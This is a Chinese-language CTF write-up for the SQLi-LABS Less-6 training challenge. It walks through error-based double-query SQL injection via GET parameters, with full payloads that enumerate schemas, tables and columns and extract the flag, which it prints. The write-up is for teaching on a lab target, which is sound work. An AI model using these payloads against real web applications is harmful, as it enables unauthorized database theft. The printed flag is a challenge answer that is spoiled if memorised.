【CTF Web】BUUCTF SQLi-LABS Page-1(Basic Challenges) Less-6 Writeup（SQL注入+GET请求+报错注入+双注入+双引号闭合+字符型注入）

sqli-labs

1
点击启动靶机。

SQLi-LABS Page-1(Basic Challenges)

原理

双注入

模板：

select count(*),concat(([payload]),floor(rand(0)*2)) as a from [table_name] group by a

解法

发送 GET 请求，id 作为参数。

http://b3f804a6-9ba6-418d-ac25-bf8d48589b62.node5.buuoj.cn/Less-6/?id=1

?id=1'

没有报错。

?id=1"

发生错误。

构造闭合：

?id=1"; --+

正常输出。

判断列数：

?id=1" order by 1,2,3; --+

?id=1" order by 1,2,3,4; --+

到4时报错，有三列。

判断输出位置：

?id=-1" union select 1,2,3; --+

没有输出。

爆库名：

?id=-1" union select 1,count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2)) as a from information_schema.schemata group by a; --+

没有报错。

?id=-1" union select 1,count(*),concat((select schema_name from information_schema.schemata limit 1),' - ',floor(rand(0)*2)) as a from information_schema.schemata group by a; --+

有个 ctftraining 表。

爆表名：

?id=-1" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='ctftraining'  limit 1),' - ',floor(rand(0)*2)) as a from information_schema.schemata group by a; --+

有个 flag 表。

爆列名：

?id=-1" union select 1,count(*),concat((select column_name from information_schema.columns where table_schema='ctftraining'  limit 1),' - ',floor(rand(0)*2)) as a from information_schema.schemata group by a; --+

查询 flag：

?id=-1" union select 1,count(*),concat((select flag from ctftraining.flag limit 1),' - ',floor(rand(0)*2)) as a from information_schema.schemata group by a; --+

Flag

flag{6baf6140-4646-4f31-bb61-e42b13de98a1}

参考资料

• https://blog.csdn.net/weixin_43901998/article/details/105227678

声明

本博客上发布的所有关于网络攻防技术的文章，仅用于教育和研究目的。所有涉及到的实验操作都在虚拟机或者专门设计的靶机上进行，并且严格遵守了相关法律法规。

博主坚决反对任何形式的非法黑客行为，包括但不限于未经授权的访问、攻击或破坏他人的计算机系统。博主强烈建议每位读者在学习网络攻防技术时，必须遵守法律法规，不得用于任何非法目的。对于因使用这些技术而导致的任何后果，博主不承担任何责任。